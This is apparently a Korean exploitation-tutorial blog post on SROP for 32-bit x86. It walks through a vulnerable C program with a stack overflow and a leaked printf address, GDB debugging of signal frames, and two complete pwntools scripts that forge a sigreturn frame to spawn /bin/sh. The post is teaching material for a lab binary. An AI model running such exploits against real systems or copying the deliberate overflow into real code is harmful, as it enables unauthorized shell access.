SROP x86
System/System Hacking

SROP x86

728x90

Example

//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>
 
struct sigcontext sigcontext;
 
void handle_signal(int signum){
    printf("Signal number: %d\n", signum);
}
 
int main(){
    signal(SIGINT, (void *)handle_signal);
    while(1) {}
    return 0;
}

debugging

- handle_signal()함수에 break point 설정

- handle SIGINT nostop pass: GDB가 interrupt에 반응하지 않도록 설정

- 실행 후 Ctrl+C 눌러 Interrupt 시그널 발생시킴

- bt: handle_signal 함수가 호출되기 전 실행된 함수 목록 확인

(bt(backtrace)명령어: 특정 중단점에서 스택의 정보를 확인할 때 사용하는 명령어; 스택 메모리를 기반으로 표시)

frame 0

- frame 0: 0번째 frame에서 stack에 저장된 각 레지스터의 값 확인 가능

($1 = 0x0)

($2 = 0xffffd000)

($3 = 0x804847A)

frame 1

- frame 1: __kernel_sigreturn 함수에서 sys_sigreturn()시스템 함수(0x77) 호출(mov eax, 0x77)

** x86 (32bit)에서 sys_sigreturn 시스템 함수의 번호는 0x77(119) **

- b 12: while(1){ } 위치(라인 12)에 breakpoint 설정

- signal에 대한 처리가 끝난 후 frame 0의 스택에 저장된 값이 레지스터에 저장되어 있음


Proof Of Concept

//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
  
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

overflow

- break point 설정: vuln()함수 시작 부분, read()함수 호출 전

- esp: 0xffffcffc -> main+59 (0x804862d): nop

- esp: 0xffffcfa0 0x0

                           0xffffcfba

                           0x100

- Return Address (0xffffcffc) - buf변수의 시작 주소 (0xffffcfba) = 66 bytes

   66개 이상의 문자를 입력함으로써 return address 영역을 덮어 쓸 수 있다

 

Exploit Method

 

1. sigreturn()함수를 이용해 레지스터에 필요한 값 저장

    - ESP: sigreturn()함수 호출 후 이동할 주소 (return address)("int 0x80"명령어가 저장된 주소)

    - EBX: "/bin/sh" 문자열이 저장된 주소

    - EAX: execve() 함수의 시스템 콜 번호

    - EIP: "int 0x80" 명령어가 저장된 주소

    - CS: User Code (=0x23)

    - SS: User Data / Stack (0x2b)

2. int 0x80 명령어 실행

//ROP code
sigreturn()
int 0x80

확인할 내용

- Libc Offset: printf, __kernel_sigreturn, "/bin/sh"

- Gadgets: int 0x80

 

libc offset

- printf(): 0xf7e47680

libc base 찾기

- libc base = 0xf7dfe000

- print() - libcbase offset = 0x49680

- __kernel_sigreturn() - libcbase offset = 0x1d9ff0

- "/bin/sh" - libcbase offset = 0x15bb0b

 

__kernel_sigreturn

__kernel_sigreturn

- 0xf7fd7ff0 (__kernel_sigreturn+0) 주소 사용할 경우

: __kernel_sigreturn() + dummy(4bit) + sigcontext 구조체

  "pop eax"명령어가 포함되기 때문에 해당 주소 호출 뒤 임의의 값 4bit 저장해야 함

 

- 0xf7fd7ff1 (__kernel_sigreturn+1) 주소 사용할 경우

: __kernel_sigreturn() + sigcontext 구조체

   "mov eax, 0x77" 명령어 실행, 해당 주소 호출 뒤 바로 sigcontext 구조체 저장해야 함

 

gadgets

32bit 프로그램이기 때문에 sigreturn 함수를 vdso 영역에서 확인할 수 있다.

 

CS(Code Segment) & SS(Stack Segment)

리눅스 커널에는 4개의 segment만 존재; Kernel Code, Kernel Data / Stack, User Code, User Data / Stack

공격 코드들은 User Mode에서 실행되기 때문에 Uesr Code, User Data / Stack 값을 사용해야 함

현재 64bit 운영체제를 사용하고 있기 때문에 0x23, 0x2b가 사용된다.

 

Exploit Code

from pwn import *
   
binary = ELF('./srop32')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
syscall = libcBase + 0x1d9ff6
binsh = libcBase + 0x15bb0b
ksigreturn = libcBase + 0x1d9ff0
 
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
  
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI
exploit += p32(0x0)         #ESI
exploit += p32(0x0)         #EBP
exploit += p32(syscall)     #ESP
exploit += p32(binsh)       #EBX
exploit += p32(0x0)         #EDX
exploit += p32(0x0)         #ECX
exploit += p32(0xb)         #EAX
exploit += p32(0x0)         #trapno
exploit += p32(0x0)         #err
  
exploit += p32(syscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23)        #CS
exploit += p32(0x0)         #eflags
exploit += p32(0x0)         #esp_atsignal
exploit += p32(0x2b)        #SS
  
p.send(exploit)
p.interactive()

pwntool 사용한 exploit code

from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1d9ff0
syscall = libcBase + 0x1d9ff6
binsh = libcBase + 0x15bb0b
 
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
  
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)  #ret
exploit += p32(0x0)
 
#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall
frame.eip = syscall
  
exploit += str(frame)
 
p.send(exploit)
p.interactive()

SMALL

'System > System Hacking' 카테고리의 다른 글

Return to csu (ft. JIT ROP)  (0) 2020.08.14
SROP x64  (0) 2020.07.24
SROP  (0) 2020.07.23
64bit ROP  (0) 2020.06.14
32bit ROP  (0) 2020.06.14